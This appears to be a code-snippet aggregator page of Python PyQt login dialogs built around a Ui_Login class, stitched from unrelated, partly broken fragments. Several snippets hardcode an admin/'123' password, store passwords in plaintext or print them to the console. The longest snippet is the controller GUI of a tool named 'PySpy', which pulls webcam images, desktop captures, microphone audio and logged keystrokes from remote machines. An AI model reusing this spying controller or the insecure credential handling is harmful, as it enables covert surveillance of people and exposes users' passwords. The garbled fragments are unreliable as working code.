Exemple #1
0
class LoginWindow(QtWidgets.QMainWindow):
    def __init__(self):
        super().__init__()
        self.ui = Ui_Login()
        self.ui.setupUi(self)
        self.login_info = db.getLoginInfo()

    def createAccountWindow(self):
        self.hide()
        self.create_account_window = CreateAccountWindow()
        self.create_account_window.show()

    def processLogin(self, user, pw):
        global CURRENT_USERNAME
        username = user.text()
        password = pw.text()

        process = driver.processLogin(username, password)

        if process:
            # conn_attempt = CLIENT.connect()
            # if conn_attempt:
            #     self.hide()
            #     self.main_window = MainWindow()
            #     self.main_window.show()
            CURRENT_USERNAME = username
            self.hide()
            self.main_window = MainWindow()
            self.main_window.show()
    def __init__(self):
        QDialog.__init__(self)
        self.timer = QTimer()
        self.ui = Ui_Login()
        self.ui.setupUi(self)
        self.ui.logoLab.setFixedSize(120, 120)
        logo = QPixmap(LOGO_PATH)
        logo = logo.scaled(self.ui.logoLab.size(), Qt.IgnoreAspectRatio,
                           Qt.SmoothTransformation)
        self.ui.logoLab.setPixmap(logo)

        self.clnt_socket = ClntSocket()
        self.mw = MainWindow(self.clnt_socket)
        self.ui.signInBtn.clicked.connect(self.login_request)
        self.timer.timeout.connect(self.login_failed)
        self.clnt_socket.login_signal.connect(self.login_handle)
class MyLogin(QtGui.QDialog):
    def __init__(self,parent=None):
        QtGui.QWidget.__init__(self,parent)
        self.ui_login=Ui_Login()
        self.ui_login.setupUi(self)
        self.ui_login.pushButton.clicked.connect(self.Login)
        self.ui_login.pushButton_2.clicked.connect(self.close)

    def Login(self):
        if self.ui_login.lineEdit.text()=='admin':
            if self.ui_login.lineEdit_2.text()=='123':
                
                self.myapp=MyForm()
                self.myapp.show()
                


    def close(self):
        exit()
Exemple #4
0
    def __init__(self):
        super(LoginDialog, self).__init__()
        # extracting UI from login_ui.py file
        self.ui = Ui_Login()
        self.ui.setupUi(self)

        # making password field echo asterisks instead of characters
        self.ui.lineEdit_2.setEchoMode(QLineEdit.Password)

        # connecting login action
        self.ui.pushButton.clicked.connect(self.login)

        # loading list of users and ther password
        self.users = dict()
        for line in open(path.join('.profile', 'users')).read().split('\n'):
            name, password = line.split('\t')
            self.users[name] = password

        # creating main dialog instance to launch it after login was successful
        self.md = MainDialog(self)
Exemple #5
0
 def __init__(self):
     # Подключение SQL сервера, инициализация UI.
     self.SQL_server, self.app = SQL('Diary'), QtWidgets.QApplication(sys.argv)
     self.cursor, self.entered, self.main_window, self.ui, self.is_student, self.id, self.month_id = \
         self.SQL_server.conn.cursor(), False, QtWidgets.QMainWindow(), \
         Ui_Login(), True, 0, datetime.now().month
     self.ui.setupUi(self.main_window)
     self.main_window.show()
     self.ui.button_enter.clicked.connect(self.login_button_pressed)
     self.ui.button_register.clicked.connect(lambda: webbrowser.open("https://docs.google.com/forms/d/17OsG-ncuNbhOrxpRrUZKgSHclN2EpyKTEvcKgew-fng"))
     locale.setlocale(locale.LC_ALL, ('RU', 'UTF8'))
     self.main()
Exemple #6
0
class LoginDialog(QDialog):
    def __init__(self):
        super(LoginDialog, self).__init__()
        # extracting UI from login_ui.py file
        self.ui = Ui_Login()
        self.ui.setupUi(self)

        # making password field echo asterisks instead of characters
        self.ui.lineEdit_2.setEchoMode(QLineEdit.Password)

        # connecting login action
        self.ui.pushButton.clicked.connect(self.login)

        # loading list of users and ther password
        self.users = dict()
        for line in open(path.join('.profile', 'users')).read().split('\n'):
            name, password = line.split('\t')
            self.users[name] = password

        # creating main dialog instance to launch it after login was successful
        self.md = MainDialog(self)

    # this happens when we press login button
    @pyqtSlot()
    def login(self):
        # checking if user exists
        user = self.ui.lineEdit.text()
        if user in self.users:
            # checking if his password is correct
            if self.ui.lineEdit_2.text() == self.users[user]:
                # displaying main dialog and hiding login dialog
                self.md.set_user(user)
                self.md.show()
                self.hide()
        # clearing input if user/pw do not match
        self.ui.lineEdit.setText('')
        self.ui.lineEdit_2.setText('')
class LoginDialog(QDialog):
    def __init__(self):
        QDialog.__init__(self)
        self.timer = QTimer()
        self.ui = Ui_Login()
        self.ui.setupUi(self)
        self.ui.logoLab.setFixedSize(120, 120)
        logo = QPixmap(LOGO_PATH)
        logo = logo.scaled(self.ui.logoLab.size(), Qt.IgnoreAspectRatio,
                           Qt.SmoothTransformation)
        self.ui.logoLab.setPixmap(logo)

        self.clnt_socket = ClntSocket()
        self.mw = MainWindow(self.clnt_socket)
        self.ui.signInBtn.clicked.connect(self.login_request)
        self.timer.timeout.connect(self.login_failed)
        self.clnt_socket.login_signal.connect(self.login_handle)

    def login_request(self):
        print("[%s] login with pwd[%s]..." %
              (self.ui.usernameLe.text(), self.ui.pwdLe.text()))
        self.clnt_socket.hw_cmd_login(self.ui.usernameLe.text(),
                                      self.ui.pwdLe.text())
        self.timer.start(10 * 1000)  # 10s

    def login_failed(self):
        QMessageBox.warning(self, "Warning", "LOGIN OVERTIME!!!",
                            QMessageBox.Yes)

    def login_handle(self, result):
        if result is not None:
            if self.isHidden() is False:
                self.timer.stop()
                self.hide()

            self.mw.mw_update(result)
 def __init__(self,parent=None):
     QtGui.QWidget.__init__(self,parent)
     self.ui_login=Ui_Login()
     self.ui_login.setupUi(self)
     self.ui_login.pushButton.clicked.connect(self.Login)
     self.ui_login.pushButton_2.clicked.connect(self.close)
Exemple #9
0
 def __init__(self):
     super().__init__()
     self.ui = Ui_Login()
     self.ui.setupUi(self)
     self.login_info = db.getLoginInfo()
Exemple #10
0
 def exit(self):
     self.reconstruct_ui(Ui_Login())
     self.ui.button_enter.clicked.connect(self.login_button_pressed)
class Client(QtGui.QMainWindow):
	__login = None
	__list_servers = None
	__addressTracker = None
	__server_connected = None 
	__keyAuthetication = None
	__manager = None
	__pysocket = None
	__user = None
	def __init__(self,addressTracker):
		self.__addressTracker = addressTracker
		self.__pysocket = Pysocket()
		self.__user = User("name", "username", "password")
		self.__manager = Manager(self.__user)
	
		QtGui.QMainWindow.__init__(self)
		self.setupUi(self)
		
	def setupUi(self, MainWindow):
		MainWindow.setObjectName(_fromUtf8("MainWindow"))
		MainWindow.resize(663, 491)
		self.centralwidget = QtGui.QWidget(MainWindow)
		self.centralwidget.setObjectName(_fromUtf8("centralwidget"))
		self.horizontalLayout_3 = QtGui.QHBoxLayout(self.centralwidget)
		self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3"))
		self.horizontalLayout_2 = QtGui.QHBoxLayout()
		self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2"))
		self.verticalLayout_2 = QtGui.QVBoxLayout()
		self.verticalLayout_2.setObjectName(_fromUtf8("verticalLayout_2"))
		self.horizontalLayout = QtGui.QHBoxLayout()
		self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout"))
		self.qImage = QtGui.QGraphicsView(self.centralwidget)
		self.qImage.setObjectName(_fromUtf8("qImage"))
		self.horizontalLayout.addWidget(self.qImage)
		self.kseparator = KSeparator(self.centralwidget)
		self.kseparator.setObjectName(_fromUtf8("kseparator"))
		self.horizontalLayout.addWidget(self.kseparator)
		self.qDesktop = QtGui.QGraphicsView(self.centralwidget)
		self.qDesktop.setObjectName(_fromUtf8("qDesktop"))
		self.horizontalLayout.addWidget(self.qDesktop)
		self.verticalLayout_2.addLayout(self.horizontalLayout)
		self.keyboard = QtGui.QLineEdit(self.centralwidget)
		self.keyboard.setObjectName(_fromUtf8("keyboard"))
		self.verticalLayout_2.addWidget(self.keyboard)
		self.horizontalLayout_2.addLayout(self.verticalLayout_2)
		self.verticalLayout = QtGui.QVBoxLayout()
		self.verticalLayout.setObjectName(_fromUtf8("verticalLayout"))
		self.Login = QtGui.QPushButton(self.centralwidget)
		self.Login.setText(_fromUtf8(""))
		icon = QtGui.QIcon()
		icon.addPixmap(QtGui.QPixmap(_fromUtf8(os.path.dirname(os.path.abspath(__file__)) + "/icons/login.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off)
		self.Login.setIcon(icon)
		self.Login.setIconSize(QtCore.QSize(40, 40))
		self.Login.setCheckable(False)
		self.Login.setObjectName(_fromUtf8("Login"))
		self.verticalLayout.addWidget(self.Login)
		self.ConnectServer = QtGui.QPushButton(self.centralwidget)
		self.ConnectServer.setText(_fromUtf8(""))
		icon1 = QtGui.QIcon()
		icon1.addPixmap(QtGui.QPixmap(_fromUtf8(os.path.dirname(os.path.abspath(__file__)) + "/icons/server.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off)
		self.ConnectServer.setIcon(icon1)
		self.ConnectServer.setIconSize(QtCore.QSize(40, 40))
		self.ConnectServer.setObjectName(_fromUtf8("ConnectServer"))
		self.verticalLayout.addWidget(self.ConnectServer)
		self.connectWebCam = QtGui.QPushButton(self.centralwidget)
		self.connectWebCam.setText(_fromUtf8(""))
		icon2 = QtGui.QIcon()
		icon2.addPixmap(QtGui.QPixmap(_fromUtf8(os.path.dirname(os.path.abspath(__file__)) + "/icons/webcam.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off)
		self.connectWebCam.setIcon(icon2)
		self.connectWebCam.setIconSize(QtCore.QSize(40, 40))
		self.connectWebCam.setCheckable(False)
		self.connectWebCam.setObjectName(_fromUtf8("connectWebCam"))
		self.verticalLayout.addWidget(self.connectWebCam)
		self.connectDesktop = QtGui.QPushButton(self.centralwidget)
		self.connectDesktop.setText(_fromUtf8(""))
		icon3 = QtGui.QIcon()
		icon3.addPixmap(QtGui.QPixmap(_fromUtf8(os.path.dirname(os.path.abspath(__file__)) + "/icons/desktop.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off)
		self.connectDesktop.setIcon(icon3)
		self.connectDesktop.setIconSize(QtCore.QSize(40, 40))
		self.connectDesktop.setCheckable(False)
		self.connectDesktop.setObjectName(_fromUtf8("connectDesktop"))
		self.verticalLayout.addWidget(self.connectDesktop)
		self.connectAudio = QtGui.QPushButton(self.centralwidget)
		self.connectAudio.setText(_fromUtf8(""))
		icon4 = QtGui.QIcon()
		icon4.addPixmap(QtGui.QPixmap(_fromUtf8(os.path.dirname(os.path.abspath(__file__)) + "/icons/microphone.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off)
		self.connectAudio.setIcon(icon4)
		self.connectAudio.setIconSize(QtCore.QSize(40, 40))
		self.connectAudio.setCheckable(False)
		self.connectAudio.setObjectName(_fromUtf8("connectAudio"))
		self.verticalLayout.addWidget(self.connectAudio)
		self.connectKeyboard = QtGui.QPushButton(self.centralwidget)
		self.connectKeyboard.setText(_fromUtf8(""))
		icon5 = QtGui.QIcon()
		icon5.addPixmap(QtGui.QPixmap(_fromUtf8(os.path.dirname(os.path.abspath(__file__)) + "/icons/keyboard.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off)
		self.connectKeyboard.setIcon(icon5)
		self.connectKeyboard.setIconSize(QtCore.QSize(40, 40))
		self.connectKeyboard.setCheckable(False)
		self.connectKeyboard.setObjectName(_fromUtf8("connectKeyboard"))
		self.verticalLayout.addWidget(self.connectKeyboard)
		self.horizontalLayout_2.addLayout(self.verticalLayout)
		self.horizontalLayout_3.addLayout(self.horizontalLayout_2)
		MainWindow.setCentralWidget(self.centralwidget)
		self.menubar = QtGui.QMenuBar(MainWindow)
		self.menubar.setGeometry(QtCore.QRect(0, 0, 663, 25))
		self.menubar.setObjectName(_fromUtf8("menubar"))
		self.menuMenu = QtGui.QMenu(self.menubar)
		self.menuMenu.setObjectName(_fromUtf8("menuMenu"))
		MainWindow.setMenuBar(self.menubar)
		self.statusbar = QtGui.QStatusBar(MainWindow)
		self.statusbar.setObjectName(_fromUtf8("statusbar"))
		MainWindow.setStatusBar(self.statusbar)
		self.btnConnectServer = QtGui.QAction(MainWindow)
		self.btnConnectServer.setObjectName(_fromUtf8("btnConnectServer"))
		self.btnLogin = QtGui.QAction(MainWindow)
		self.btnLogin.setObjectName(_fromUtf8("btnLogin"))
		self.btnConnectWebCam = QtGui.QAction(MainWindow)
		self.btnConnectWebCam.setObjectName(_fromUtf8("btnConnectWebCam"))
		self.btnConnectMicrophone = QtGui.QAction(MainWindow)
		self.btnConnectMicrophone.setObjectName(_fromUtf8("btnConnectMicrophone"))
		self.btnConnectDesktop = QtGui.QAction(MainWindow)
		self.btnConnectDesktop.setObjectName(_fromUtf8("btnConnectDesktop"))
		self.btnDisconnectWebCam = QtGui.QAction(MainWindow)
		self.btnDisconnectWebCam.setObjectName(_fromUtf8("btnDisconnectWebCam"))
		self.btnDisconnectMicrophone = QtGui.QAction(MainWindow)
		self.btnDisconnectMicrophone.setObjectName(_fromUtf8("btnDisconnectMicrophone"))
		self.btnDisconnectDesktop = QtGui.QAction(MainWindow)
		self.btnDisconnectDesktop.setObjectName(_fromUtf8("btnDisconnectDesktop"))
		self.btnConnectKeyboard = QtGui.QAction(MainWindow)
		self.btnConnectKeyboard.setObjectName(_fromUtf8("btnConnectKeyboard"))
		self.btnDisconnectKeyboard = QtGui.QAction(MainWindow)
		self.btnDisconnectKeyboard.setObjectName(_fromUtf8("btnDisconnectKeyboard"))
		self.btnClose = QtGui.QAction(MainWindow)
		self.btnClose.setObjectName(_fromUtf8("btnClose"))
		self.actionSair = QtGui.QAction(MainWindow)
		self.actionSair.setObjectName(_fromUtf8("actionSair"))
		self.menuMenu.addAction(self.actionSair)
		self.menubar.addAction(self.menuMenu.menuAction())

		self.retranslateUi(MainWindow)
		QtCore.QMetaObject.connectSlotsByName(MainWindow)
	
	def retranslateUi(self, MainWindow):
		MainWindow.setWindowTitle(_translate("MainWindow", "PySpy", None))
		self.menuMenu.setTitle(_translate("MainWindow", "Menu", None))
		self.btnConnectServer.setText(_translate("MainWindow", "Connect in Server", None))
		self.btnLogin.setText(_translate("MainWindow", "Login", None))
		self.btnConnectWebCam.setText(_translate("MainWindow", "Connect", None))
		self.btnConnectMicrophone.setText(_translate("MainWindow", "Connect", None))
		self.btnConnectDesktop.setText(_translate("MainWindow", "Connect", None))
		self.btnDisconnectWebCam.setText(_translate("MainWindow", "Disconnect", None))
		self.btnDisconnectMicrophone.setText(_translate("MainWindow", "Disconnect", None))
		self.btnDisconnectDesktop.setText(_translate("MainWindow", "Disconnect", None))
		self.btnConnectKeyboard.setText(_translate("MainWindow", "Connect", None))
		self.btnDisconnectKeyboard.setText(_translate("MainWindow", "Disconnect", None))
		self.btnClose.setText(_translate("MainWindow", "Close", None))
		self.actionSair.setText(_translate("MainWindow", "Sair", None))

		#Signals
		
		QtCore.QObject.connect(self.Login, QtCore.SIGNAL(_fromUtf8("clicked()")), self.login)
		QtCore.QObject.connect(self.ConnectServer, QtCore.SIGNAL(_fromUtf8("clicked()")), self.connectInServer)
		
		#Requests
		QtCore.QObject.connect(self.connectWebCam, QtCore.SIGNAL(_fromUtf8("clicked()")), self.requestImage)
		QtCore.QObject.connect(self.connectDesktop, QtCore.SIGNAL(_fromUtf8("clicked()")), self.requestDisplay)
		QtCore.QObject.connect(self.connectAudio, QtCore.SIGNAL(_fromUtf8("clicked()")), self.requestAudio)
		QtCore.QObject.connect(self.connectKeyboard, QtCore.SIGNAL(_fromUtf8("clicked()")), self.requestKeyboard)
	
	
	#LOGIN
	def login(self):
		self.__login = Ui_Login(self)
		self.__login.show()
		QtCore.QObject.connect(self.__login, QtCore.SIGNAL(_fromUtf8("accepted()")), self.loginInput)

	def loginInput(self):
		username =  self.__login.username.text()
		password =  self.__login.password.text()
		print "Username: "******" Password: "******"Erro Login..."
			return
		self.__user = User("default", username, password)
		self.__manager = Manager(self.__user)
	
	
	#CONNECT IN SERVER
	def connectInServer(self):
		self.__list_servers = Ui_ListServers()
		for i in self.listServer():
			self.__list_servers.add(str(i[0])+":"+str(i[1]))
		self.__list_servers.show()
		QtCore.QObject.connect(self.__list_servers, QtCore.SIGNAL(_fromUtf8("accepted()")), self.connectInServerInput)
		
	def connectInServerInput(self):
		item = self.__list_servers.getItem()
		text = item.text()
		if not text:
			print "No Server Selected!!!"
			return
		text = text.split(":")
		self.__server_connected=( text[0],int(text[1]) )
		print "Server Connected..."
	
	def listServer(self):
		data = json.dumps({'type': 2, 'code': 0, 'status': 'OK'})
		sock = socket(AF_INET, SOCK_STREAM)
		try:
			sock.connect(self.__addressTracker)
		except:
			msn = QMessageBox.warning(self, "Tracker",
                "Servers not found...", QMessageBox.Close)
			return
		sock.sendall(data)
		try:
			response = json.loads(self.__pysocket.recvall(sock))['servers']
		except:
			return None
		return response

	def requestImage(self):
		print 'Request Image'
		t = UpdateImage(self.__server_connected, self.__manager, self)
		QtCore.QObject.connect(t, QtCore.SIGNAL(_fromUtf8("update()")), self.streamImage)
		t.start()
		
	def streamImage(self):
		self.setImageWebCam(SAVEDIR + 'image.jpg')
	def requestDisplay(self):
		print 'Request Desktop'
		t = UpdateDesktop(self.__server_connected, self.__manager, self)
		QtCore.QObject.connect(t, QtCore.SIGNAL(_fromUtf8("update()")), self.streamDisplay)
		t.start()
		
	def streamDisplay(self):
		self.setImageDesktop(SAVEDIR + 'display.png')
		
	def requestAudio(self, size = 1024):
		print 'Request Audio'
		t = UpdateAudio(self.__server_connected,size,  self.__manager, self)
		QtCore.QObject.connect(t, QtCore.SIGNAL(_fromUtf8("update()")), self.streamAudio)
		t.start()
		
	def streamAudio(self):
		t = PlayAudio(SAVEDIR + 'audio.wav', self)
		t.start()
		
	def requestKeyboard(self, size = 40):
		print 'Request Keyboard'
		open(SAVEDIR + "keys.txt", "w")
		t = UpdateKeyboard(self.__server_connected,size , self.__manager, self)
		QtCore.QObject.connect(t, QtCore.SIGNAL(_fromUtf8("update()")), self.streamKeyboard)
		t.start()
		
	def streamKeyboard(self):
		self.keyboard.setText(open(SAVEDIR + "keys.txt", "r").read())
	
	def setImageWebCam(self, path):
		scene = QGraphicsScene()
		scene.addPixmap(QPixmap(path))
		self.qImage.setScene(scene)
		
	def setImageDesktop(self, path):
		scene = QGraphicsScene()
		scene.addPixmap(QPixmap(path))
		self.qDesktop.setScene(scene)
	def login(self):
		self.__login = Ui_Login(self)
		self.__login.show()
		QtCore.QObject.connect(self.__login, QtCore.SIGNAL(_fromUtf8("accepted()")), self.loginInput)